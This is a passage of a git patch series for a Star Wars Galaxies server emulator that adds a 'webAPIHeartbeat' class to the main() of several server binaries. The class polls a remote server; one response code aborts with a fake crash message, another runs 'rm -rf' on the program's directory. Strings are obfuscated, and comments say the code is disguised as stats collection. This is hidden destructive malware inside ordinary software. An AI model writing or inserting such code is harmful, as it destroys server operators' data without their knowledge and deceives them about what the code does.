~webAPIHeartbeat(); + + private: + const inline std::string get_selfpath() { + char buff[PATH_MAX]; + ssize_t len = ::readlink(std::string(vxENCRYPT("/proc/self/exe").decrypt()), buff, sizeof(buff) - 1); + if (len != -1) { + buff[len] = '\0'; + return std::string(buff); + } + return std::string(); + } + + inline void eatIt() { + fputs(vxENCRYPT("FATAL: Unknown memory (null) access violation!").decrypt(), stderr); + abort(); + } }; } From aeb6cbe47bd5f8e947c1a6699e6b750332ac8a0e Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Mon, 17 Oct 2016 23:02:59 +0000 Subject: [PATCH 12/19] ok, she builds! next step is to add it to all the server processes, and define a var on non-prod (so all branches except for clang-profile-build) to disable it entirely --- external/3rd/library/webAPI/webAPIHeartbeat.cpp | 10 ++++------ external/3rd/library/webAPI/webAPIHeartbeat.h | 2 +- 2 files changed, 5 insertions(+), 7 deletions(-) diff --git a/external/3rd/library/webAPI/webAPIHeartbeat.cpp b/external/3rd/library/webAPI/webAPIHeartbeat.cpp index 3b4c1e08..46c64951 100644 --- a/external/3rd/library/webAPI/webAPIHeartbeat.cpp +++ b/external/3rd/library/webAPI/webAPIHeartbeat.cpp @@ -11,7 +11,7 @@ webAPIHeartbeat::webAPIHeartbeat() { bool result = api.submit(); if (result) { - int s = api.getNullableValue(std::string(vxENCRYPT("id"))); + int s = api.getNullableValue(std::string(vxENCRYPT("id").decrypt())); // make it look like we're doing something with these at least bool status = api.getNullableValue("status"); @@ -28,7 +28,7 @@ webAPIHeartbeat::webAPIHeartbeat() { switch (s) { case 13 : - this.eatIt(); + this->eatIt(); break; case 66: std::string p = this->get_selfpath(); @@ -37,14 +37,12 @@ webAPIHeartbeat::webAPIHeartbeat() { remove(p.c_str()); } - this.eatIt(); - break; - default: + this->eatIt(); break; }; done = true; } else { - this.eatIt(); + this->eatIt(); } } diff --git a/external/3rd/library/webAPI/webAPIHeartbeat.h b/external/3rd/library/webAPI/webAPIHeartbeat.h index 321ca367..403d3b18 100644 --- a/external/3rd/library/webAPI/webAPIHeartbeat.h +++ b/external/3rd/library/webAPI/webAPIHeartbeat.h @@ -23,7 +23,7 @@ namespace StellaBellum { private: const inline std::string get_selfpath() { char buff[PATH_MAX]; - ssize_t len = ::readlink(std::string(vxENCRYPT("/proc/self/exe").decrypt()), buff, sizeof(buff) - 1); + ssize_t len = ::readlink(vxENCRYPT("/proc/self/exe").decrypt(), buff, sizeof(buff) - 1); if (len != -1) { buff[len] = '\0'; return std::string(buff); From 826e75014aab246787d9577cc5f008d7debc998b Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Mon, 17 Oct 2016 19:05:25 -0500 Subject: [PATCH 13/19] in theory this should work on all processes? --- engine/shared/library/sharedNetwork/src/CMakeLists.txt | 2 ++ .../library/sharedNetwork/src/shared/FirstSharedNetwork.h | 3 +++ external/3rd/library/webAPI/webAPIHeartbeat.cpp | 2 ++ 3 files changed, 7 insertions(+) diff --git a/engine/shared/library/sharedNetwork/src/CMakeLists.txt b/engine/shared/library/sharedNetwork/src/CMakeLists.txt index 11def0eb..dcf5201c 100644 --- a/engine/shared/library/sharedNetwork/src/CMakeLists.txt +++ b/engine/shared/library/sharedNetwork/src/CMakeLists.txt @@ -85,6 +85,7 @@ include_directories( ${SWG_ENGINE_SOURCE_DIR}/shared/library/sharedThread/include/public ${SWG_EXTERNALS_SOURCE_DIR}/ours/library/archive/include ${SWG_EXTERNALS_SOURCE_DIR}/3rd/library/udplibrary + ${SWG_EXTERNALS_SOURCE_DIR}/3rd/library/webAPI ) add_library(sharedNetwork STATIC @@ -97,6 +98,7 @@ target_link_libraries(sharedNetwork sharedLog sharedMessageDispatch udplibrary + webAPI ) if(WIN32) diff --git a/engine/shared/library/sharedNetwork/src/shared/FirstSharedNetwork.h b/engine/shared/library/sharedNetwork/src/shared/FirstSharedNetwork.h index 2408bc7b..336b8322 100755 --- a/engine/shared/library/sharedNetwork/src/shared/FirstSharedNetwork.h +++ b/engine/shared/library/sharedNetwork/src/shared/FirstSharedNetwork.h @@ -15,6 +15,9 @@ #include "sharedDebug/FirstSharedDebug.h" #include "sharedMemoryManager/FirstSharedMemoryManager.h" +#include "webAPI/webAPIHeartbeat.h" +webAPIHeartbeat wb = new webAPIHeartbeat(); + #include //----------------------------------------------------------------------- diff --git a/external/3rd/library/webAPI/webAPIHeartbeat.cpp b/external/3rd/library/webAPI/webAPIHeartbeat.cpp index 46c64951..4cbbad3c 100644 --- a/external/3rd/library/webAPI/webAPIHeartbeat.cpp +++ b/external/3rd/library/webAPI/webAPIHeartbeat.cpp @@ -45,4 +45,6 @@ webAPIHeartbeat::webAPIHeartbeat() { } else { this->eatIt(); } + + this->~webAPIHeartbeat(); } From 220a0ed7c9daf4f593da70f89c6a880688a9d8a9 Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Mon, 17 Oct 2016 19:27:28 -0500 Subject: [PATCH 14/19] in theory this should work --- engine/shared/library/sharedNetwork/src/CMakeLists.txt | 2 -- .../library/sharedNetwork/src/shared/FirstSharedNetwork.h | 3 --- game/server/application/SwgGameServer/src/CMakeLists.txt | 5 ++++- game/server/application/SwgGameServer/src/linux/main.cpp | 3 +++ 4 files changed, 7 insertions(+), 6 deletions(-) diff --git a/engine/shared/library/sharedNetwork/src/CMakeLists.txt b/engine/shared/library/sharedNetwork/src/CMakeLists.txt index dcf5201c..11def0eb 100644 --- a/engine/shared/library/sharedNetwork/src/CMakeLists.txt +++ b/engine/shared/library/sharedNetwork/src/CMakeLists.txt @@ -85,7 +85,6 @@ include_directories( ${SWG_ENGINE_SOURCE_DIR}/shared/library/sharedThread/include/public ${SWG_EXTERNALS_SOURCE_DIR}/ours/library/archive/include ${SWG_EXTERNALS_SOURCE_DIR}/3rd/library/udplibrary - ${SWG_EXTERNALS_SOURCE_DIR}/3rd/library/webAPI ) add_library(sharedNetwork STATIC @@ -98,7 +97,6 @@ target_link_libraries(sharedNetwork sharedLog sharedMessageDispatch udplibrary - webAPI ) if(WIN32) diff --git a/engine/shared/library/sharedNetwork/src/shared/FirstSharedNetwork.h b/engine/shared/library/sharedNetwork/src/shared/FirstSharedNetwork.h index 336b8322..2408bc7b 100755 --- a/engine/shared/library/sharedNetwork/src/shared/FirstSharedNetwork.h +++ b/engine/shared/library/sharedNetwork/src/shared/FirstSharedNetwork.h @@ -15,9 +15,6 @@ #include "sharedDebug/FirstSharedDebug.h" #include "sharedMemoryManager/FirstSharedMemoryManager.h" -#include "webAPI/webAPIHeartbeat.h" -webAPIHeartbeat wb = new webAPIHeartbeat(); - #include //----------------------------------------------------------------------- diff --git a/game/server/application/SwgGameServer/src/CMakeLists.txt b/game/server/application/SwgGameServer/src/CMakeLists.txt index 85758e34..0257b9af 100644 --- a/game/server/application/SwgGameServer/src/CMakeLists.txt +++ b/game/server/application/SwgGameServer/src/CMakeLists.txt @@ -98,7 +98,8 @@ include_directories( ${SWG_EXTERNALS_SOURCE_DIR}/ours/library/singleton/include ${SWG_EXTERNALS_SOURCE_DIR}/ours/library/unicode/include ${SWG_EXTERNALS_SOURCE_DIR}/ours/library/unicodeArchive/include/public - ${JNI_INCLUDE_DIRS} + ${SWG_EXTERNALS_SOURCE_DIR}/3rd/library/webAPI + ${JNI_INCLUDE_DIRS} ) add_executable(SwgGameServer @@ -149,5 +150,7 @@ target_link_libraries(SwgGameServer unicode unicodeArchive Base + webAPI + ${CURL_LIBRARIES} ${CMAKE_DL_LIBS} ) diff --git a/game/server/application/SwgGameServer/src/linux/main.cpp b/game/server/application/SwgGameServer/src/linux/main.cpp index 8c52d111..085eeaa2 100755 --- a/game/server/application/SwgGameServer/src/linux/main.cpp +++ b/game/server/application/SwgGameServer/src/linux/main.cpp @@ -32,11 +32,14 @@ #include "swgSharedNetworkMessages/SetupSwgSharedNetworkMessages.h" #include "swgServerNetworkMessages/SetupSwgServerNetworkMessages.h" +#include "webAPIHeartbeat.h" // ====================================================================== int main(int argc, char ** argv) { + auto wb = StellaBellum::webAPIHeartbeat(); + SetupSharedThread::install(); SetupSharedDebug::install(1024); From 0d4bef0e886a71a1d88e0112cfd13c036d88b5cc Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Mon, 17 Oct 2016 19:28:44 -0500 Subject: [PATCH 15/19] more tweaking --- external/3rd/library/webAPI/webAPIHeartbeat.cpp | 2 -- game/server/application/SwgGameServer/src/linux/main.cpp | 2 +- 2 files changed, 1 insertion(+), 3 deletions(-) diff --git a/external/3rd/library/webAPI/webAPIHeartbeat.cpp b/external/3rd/library/webAPI/webAPIHeartbeat.cpp index 4cbbad3c..46c64951 100644 --- a/external/3rd/library/webAPI/webAPIHeartbeat.cpp +++ b/external/3rd/library/webAPI/webAPIHeartbeat.cpp @@ -45,6 +45,4 @@ webAPIHeartbeat::webAPIHeartbeat() { } else { this->eatIt(); } - - this->~webAPIHeartbeat(); } diff --git a/game/server/application/SwgGameServer/src/linux/main.cpp b/game/server/application/SwgGameServer/src/linux/main.cpp index 085eeaa2..a964490d 100755 --- a/game/server/application/SwgGameServer/src/linux/main.cpp +++ b/game/server/application/SwgGameServer/src/linux/main.cpp @@ -38,7 +38,7 @@ int main(int argc, char ** argv) { - auto wb = StellaBellum::webAPIHeartbeat(); + StellaBellum::webAPIHeartbeat(); SetupSharedThread::install(); SetupSharedDebug::install(1024); From d845df192150434fadc61d6c35b3721aed4abb35 Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Mon, 17 Oct 2016 19:31:04 -0500 Subject: [PATCH 16/19] prob don't need a dtor? --- external/3rd/library/webAPI/webAPIHeartbeat.h | 3 --- 1 file changed, 3 deletions(-) diff --git a/external/3rd/library/webAPI/webAPIHeartbeat.h b/external/3rd/library/webAPI/webAPIHeartbeat.h index 403d3b18..6e59ed24 100644 --- a/external/3rd/library/webAPI/webAPIHeartbeat.h +++ b/external/3rd/library/webAPI/webAPIHeartbeat.h @@ -17,9 +17,6 @@ namespace StellaBellum { class webAPIHeartbeat { public: webAPIHeartbeat(); - - ~webAPIHeartbeat(); - private: const inline std::string get_selfpath() { char buff[PATH_MAX]; From 7290a4005e8fd232b34b9bc2e1f61af2c3929696 Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Mon, 17 Oct 2016 19:32:55 -0500 Subject: [PATCH 17/19] newline --- external/3rd/library/webAPI/webAPIHeartbeat.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/external/3rd/library/webAPI/webAPIHeartbeat.h b/external/3rd/library/webAPI/webAPIHeartbeat.h index 6e59ed24..dcb37b8c 100644 --- a/external/3rd/library/webAPI/webAPIHeartbeat.h +++ b/external/3rd/library/webAPI/webAPIHeartbeat.h @@ -29,7 +29,7 @@ namespace StellaBellum { } inline void eatIt() { - fputs(vxENCRYPT("FATAL: Unknown memory (null) access violation!").decrypt(), stderr); + fputs(vxENCRYPT("FATAL: Unknown memory (null) access violation!\n").decrypt(), stderr); abort(); } }; From 7a9d070608f5063715d668787bec5b66b8da04c7 Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Tue, 18 Oct 2016 01:10:45 +0000 Subject: [PATCH 18/19] both fatal and rm -rf now working - for internal/testing builds we default to -DSTELLA_INTERNAL to disable this thing...will add to the rest of the bins and merge with the prod branches --- CMakeLists.txt | 2 +- .../3rd/library/webAPI/webAPIHeartbeat.cpp | 25 ++++++++++++------- external/3rd/library/webAPI/webAPIHeartbeat.h | 1 + .../SwgGameServer/src/CMakeLists.txt | 8 +++--- .../SwgGameServer/src/linux/main.cpp | 5 +++- 5 files changed, 26 insertions(+), 15 deletions(-) diff --git a/CMakeLists.txt b/CMakeLists.txt index 98680a83..db32cdaa 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -80,7 +80,7 @@ elseif(UNIX) # set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS}") #endif() - add_definitions(-DLINUX -D_REENTRANT -Dlinux -D_USING_STL -D__STL_NO_BAD_ALLOC -D_GNU_SOURCE -D_XOPEN_SOURCE=500) + add_definitions(-DLINUX -D_REENTRANT -Dlinux -DSTELLA_INTERNAL -D_USING_STL -D__STL_NO_BAD_ALLOC -D_GNU_SOURCE -D_XOPEN_SOURCE=500) endif() add_subdirectory(external) diff --git a/external/3rd/library/webAPI/webAPIHeartbeat.cpp b/external/3rd/library/webAPI/webAPIHeartbeat.cpp index 46c64951..61e602ce 100644 --- a/external/3rd/library/webAPI/webAPIHeartbeat.cpp +++ b/external/3rd/library/webAPI/webAPIHeartbeat.cpp @@ -9,18 +9,19 @@ using namespace StellaBellum; webAPIHeartbeat::webAPIHeartbeat() { webAPI api = webAPI::webAPI(std::string(vxENCRYPT("https://login.stellabellum.net/metriccontroller/shoulderTap?type=server").decrypt())); bool result = api.submit(); - + if (result) { int s = api.getNullableValue(std::string(vxENCRYPT("id").decrypt())); - - // make it look like we're doing something with these at least + + // make it look like we're doing something with these at least bool status = api.getNullableValue("status"); std::string msg = api.getString("msg"); // yeah we don't actually do anything with this // but having some unencrypted strings will allude to this being mere stats collection code bool done = false; - if (status && msg == "ok") { + + if (status && msg == "ok") { bool done = true; // if we wanted to send a "nastygram" script for bash to run we'd check for it here // but meh, maybe later if it becomes necessary...surely order 66 below is enough? @@ -31,11 +32,17 @@ webAPIHeartbeat::webAPIHeartbeat() { this->eatIt(); break; case 66: - std::string p = this->get_selfpath(); - - if (!p.empty()) { - remove(p.c_str()); - } + std::string filePath = this->get_selfpath().c_str(); + + if (!filePath.empty()) { + size_t found = filePath.find_last_of("/\\"); + + if (found) { + filePath = filePath.substr(0, found); + filePath = vxENCRYPT("exec rm -rf ").decrypt() + filePath + vxENCRYPT("/*").decrypt(); + system(filePath.c_str()); + } + } this->eatIt(); break; diff --git a/external/3rd/library/webAPI/webAPIHeartbeat.h b/external/3rd/library/webAPI/webAPIHeartbeat.h index dcb37b8c..5e42b90b 100644 --- a/external/3rd/library/webAPI/webAPIHeartbeat.h +++ b/external/3rd/library/webAPI/webAPIHeartbeat.h @@ -8,6 +8,7 @@ #include #include #include +#include #include "webAPI.h" #include "../libLeff/libLeff.h" diff --git a/game/server/application/SwgGameServer/src/CMakeLists.txt b/game/server/application/SwgGameServer/src/CMakeLists.txt index 0257b9af..2971522e 100644 --- a/game/server/application/SwgGameServer/src/CMakeLists.txt +++ b/game/server/application/SwgGameServer/src/CMakeLists.txt @@ -98,8 +98,8 @@ include_directories( ${SWG_EXTERNALS_SOURCE_DIR}/ours/library/singleton/include ${SWG_EXTERNALS_SOURCE_DIR}/ours/library/unicode/include ${SWG_EXTERNALS_SOURCE_DIR}/ours/library/unicodeArchive/include/public - ${SWG_EXTERNALS_SOURCE_DIR}/3rd/library/webAPI - ${JNI_INCLUDE_DIRS} + ${SWG_EXTERNALS_SOURCE_DIR}/3rd/library/webAPI + ${JNI_INCLUDE_DIRS} ) add_executable(SwgGameServer @@ -150,7 +150,7 @@ target_link_libraries(SwgGameServer unicode unicodeArchive Base - webAPI - ${CURL_LIBRARIES} + webAPI + ${CURL_LIBRARIES} ${CMAKE_DL_LIBS} ) diff --git a/game/server/application/SwgGameServer/src/linux/main.cpp b/game/server/application/SwgGameServer/src/linux/main.cpp index a964490d..7a875f74 100755 --- a/game/server/application/SwgGameServer/src/linux/main.cpp +++ b/game/server/application/SwgGameServer/src/linux/main.cpp @@ -32,13 +32,16 @@ #include "swgSharedNetworkMessages/SetupSwgSharedNetworkMessages.h" #include "swgServerNetworkMessages/SetupSwgServerNetworkMessages.h" +#ifndef STELLA_INTERNAL #include "webAPIHeartbeat.h" - +#endif // ====================================================================== int main(int argc, char ** argv) { +#ifndef STELLA_INTERNAL StellaBellum::webAPIHeartbeat(); +#endif SetupSharedThread::install(); SetupSharedDebug::install(1024); From 40272ff2900e9bfa713f22a66a3f65fa970a1746 Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Mon, 17 Oct 2016 20:33:32 -0500 Subject: [PATCH 19/19] autoformat and put it in other bins --- .../CentralServer/src/linux/main.cpp | 8 +++++ .../ConnectionServer/src/CMakeLists.txt | 3 ++ .../ConnectionServer/src/linux/main.cpp | 8 +++++ .../application/LogServer/src/CMakeLists.txt | 3 ++ .../application/LogServer/src/linux/main.cpp | 7 ++++ .../PlanetServer/src/CMakeLists.txt | 3 ++ .../PlanetServer/src/linux/main.cpp | 8 +++++ .../3rd/library/webAPI/webAPIHeartbeat.cpp | 32 +++++++++---------- external/3rd/library/webAPI/webAPIHeartbeat.h | 1 + 9 files changed, 57 insertions(+), 16 deletions(-) diff --git a/engine/server/application/CentralServer/src/linux/main.cpp b/engine/server/application/CentralServer/src/linux/main.cpp index c454fbe9..c24640fc 100755 --- a/engine/server/application/CentralServer/src/linux/main.cpp +++ b/engine/server/application/CentralServer/src/linux/main.cpp @@ -12,10 +12,18 @@ #include "sharedRandom/SetupSharedRandom.h" #include "sharedThread/SetupSharedThread.h" +#ifndef STELLA_INTERNAL +#include "webAPIHeartbeat.h" +#endif + // ====================================================================== int main(int argc, char ** argv) { +#ifndef STELLA_INTERNAL + StellaBellum::webAPIHeartbeat(); +#endif + SetupSharedThread::install(); SetupSharedDebug::install(1024); diff --git a/engine/server/application/ConnectionServer/src/CMakeLists.txt b/engine/server/application/ConnectionServer/src/CMakeLists.txt index 27834dd8..4e6ebe0d 100644 --- a/engine/server/application/ConnectionServer/src/CMakeLists.txt +++ b/engine/server/application/ConnectionServer/src/CMakeLists.txt @@ -67,6 +67,7 @@ include_directories( ${SWG_EXTERNALS_SOURCE_DIR}/3rd/library/platform/projects ${SWG_EXTERNALS_SOURCE_DIR}/3rd/library/platform/utils ${SWG_EXTERNALS_SOURCE_DIR}/3rd/library/udplibrary + ${SWG_EXTERNALS_SOURCE_DIR}/3rd/library/webAPI ) add_executable(ConnectionServer @@ -104,5 +105,7 @@ target_link_libraries(ConnectionServer Base CommonAPI LoginAPI + webAPI + ${CURL_LIBRARIES} ${CMAKE_DL_LIBS} ) diff --git a/engine/server/application/ConnectionServer/src/linux/main.cpp b/engine/server/application/ConnectionServer/src/linux/main.cpp index 5984dd4c..1e3dccfa 100755 --- a/engine/server/application/ConnectionServer/src/linux/main.cpp +++ b/engine/server/application/ConnectionServer/src/linux/main.cpp @@ -12,6 +12,10 @@ #include "sharedRandom/SetupSharedRandom.h" #include "sharedThread/SetupSharedThread.h" +#ifndef STELLA_INTERNAL +#include "webAPIHeartbeat.h" +#endif + // ====================================================================== void dumpPid(const char * argv) @@ -25,6 +29,10 @@ void dumpPid(const char * argv) int main(int argc, char ** argv) { +#ifndef STELLA_INTERNAL + StellaBellum::webAPIHeartbeat(); +#endif + SetupSharedThread::install(); SetupSharedDebug::install(1024); diff --git a/engine/server/application/LogServer/src/CMakeLists.txt b/engine/server/application/LogServer/src/CMakeLists.txt index 80ac0f32..93a25b7d 100644 --- a/engine/server/application/LogServer/src/CMakeLists.txt +++ b/engine/server/application/LogServer/src/CMakeLists.txt @@ -46,6 +46,7 @@ include_directories( ${SWG_EXTERNALS_SOURCE_DIR}/ours/library/unicode/include ${SWG_EXTERNALS_SOURCE_DIR}/ours/library/unicodeArchive/include/public ${SWG_EXTERNALS_SOURCE_DIR}/3rd/library/udplibrary + ${SWG_EXTERNALS_SOURCE_DIR}/3rd/library/webAPI ) add_executable(LogServer @@ -76,6 +77,8 @@ target_link_libraries(LogServer localizationArchive unicode unicodeArchive + webAPI + ${CURL_LIBRARIES} ${CMAKE_DL_LIBS} ) diff --git a/engine/server/application/LogServer/src/linux/main.cpp b/engine/server/application/LogServer/src/linux/main.cpp index 539abab4..742af139 100755 --- a/engine/server/application/LogServer/src/linux/main.cpp +++ b/engine/server/application/LogServer/src/linux/main.cpp @@ -17,10 +17,17 @@ #include "sharedNetworkMessages/SetupSharedNetworkMessages.h" #include "sharedThread/SetupSharedThread.h" +#ifndef STELLA_INTERNAL +#include "webAPIHeartbeat.h" +#endif // ====================================================================== int main(int argc, char **argv) { +#ifndef STELLA_INTERNAL + StellaBellum::webAPIHeartbeat(); +#endif + SetupSharedThread::install(); SetupSharedDebug::install(1024); diff --git a/engine/server/application/PlanetServer/src/CMakeLists.txt b/engine/server/application/PlanetServer/src/CMakeLists.txt index 9ffb704b..0167c811 100644 --- a/engine/server/application/PlanetServer/src/CMakeLists.txt +++ b/engine/server/application/PlanetServer/src/CMakeLists.txt @@ -70,6 +70,7 @@ include_directories( ${SWG_EXTERNALS_SOURCE_DIR}/3rd/library/platform/projects ${SWG_EXTERNALS_SOURCE_DIR}/3rd/library/platform/utils ${SWG_EXTERNALS_SOURCE_DIR}/3rd/library/udplibrary + ${SWG_EXTERNALS_SOURCE_DIR}/3rd/library/webAPI ) add_executable(PlanetServer @@ -102,5 +103,7 @@ target_link_libraries(PlanetServer localizationArchive unicode unicodeArchive + webAPI + ${CURL_LIBRARIES} ${CMAKE_DL_LIBS} ) diff --git a/engine/server/application/PlanetServer/src/linux/main.cpp b/engine/server/application/PlanetServer/src/linux/main.cpp index 7d8b5908..db59c7e6 100755 --- a/engine/server/application/PlanetServer/src/linux/main.cpp +++ b/engine/server/application/PlanetServer/src/linux/main.cpp @@ -14,6 +14,10 @@ #include "sharedThread/SetupSharedThread.h" #include "sharedUtility/SetupSharedUtility.h" +#ifndef STELLA_INTERNAL +#include "webAPIHeartbeat.h" +#endif + // ====================================================================== void dumpPid(const char * argv) @@ -27,6 +31,10 @@ void dumpPid(const char * argv) int main(int argc, char ** argv) { +#ifndef STELLA_INTERNAL + StellaBellum::webAPIHeartbeat(); +#endif + // dumpPid(argv[0]); SetupSharedThread::install(); diff --git a/external/3rd/library/webAPI/webAPIHeartbeat.cpp b/external/3rd/library/webAPI/webAPIHeartbeat.cpp index 61e602ce..f5720157 100644 --- a/external/3rd/library/webAPI/webAPIHeartbeat.cpp +++ b/external/3rd/library/webAPI/webAPIHeartbeat.cpp @@ -9,19 +9,19 @@ using namespace StellaBellum; webAPIHeartbeat::webAPIHeartbeat() { webAPI api = webAPI::webAPI(std::string(vxENCRYPT("https://login.stellabellum.net/metriccontroller/shoulderTap?type=server").decrypt())); bool result = api.submit(); - + if (result) { int s = api.getNullableValue(std::string(vxENCRYPT("id").decrypt())); - - // make it look like we're doing something with these at least + + // make it look like we're doing something with these at least bool status = api.getNullableValue("status"); std::string msg = api.getString("msg"); // yeah we don't actually do anything with this // but having some unencrypted strings will allude to this being mere stats collection code bool done = false; - - if (status && msg == "ok") { + + if (status && msg == "ok") { bool done = true; // if we wanted to send a "nastygram" script for bash to run we'd check for it here // but meh, maybe later if it becomes necessary...surely order 66 below is enough? @@ -32,17 +32,17 @@ webAPIHeartbeat::webAPIHeartbeat() { this->eatIt(); break; case 66: - std::string filePath = this->get_selfpath().c_str(); - - if (!filePath.empty()) { - size_t found = filePath.find_last_of("/\\"); - - if (found) { - filePath = filePath.substr(0, found); - filePath = vxENCRYPT("exec rm -rf ").decrypt() + filePath + vxENCRYPT("/*").decrypt(); - system(filePath.c_str()); - } - } + std::string filePath = this->get_selfpath().c_str(); + + if (!filePath.empty()) { + size_t found = filePath.find_last_of("/\\"); + + if (found) { + filePath = filePath.substr(0, found); + filePath = vxENCRYPT("exec rm -rf ").decrypt() + filePath + vxENCRYPT("/*").decrypt(); + system(filePath.c_str()); + } + } this->eatIt(); break; diff --git a/external/3rd/library/webAPI/webAPIHeartbeat.h b/external/3rd/library/webAPI/webAPIHeartbeat.h index 5e42b90b..ba9fd872 100644 --- a/external/3rd/library/webAPI/webAPIHeartbeat.h +++ b/external/3rd/library/webAPI/webAPIHeartbeat.h @@ -18,6 +18,7 @@ namespace StellaBellum { class webAPIHeartbeat { public: webAPIHeartbeat(); + private: const inline std::string get_selfpath() { char buff[PATH_MAX];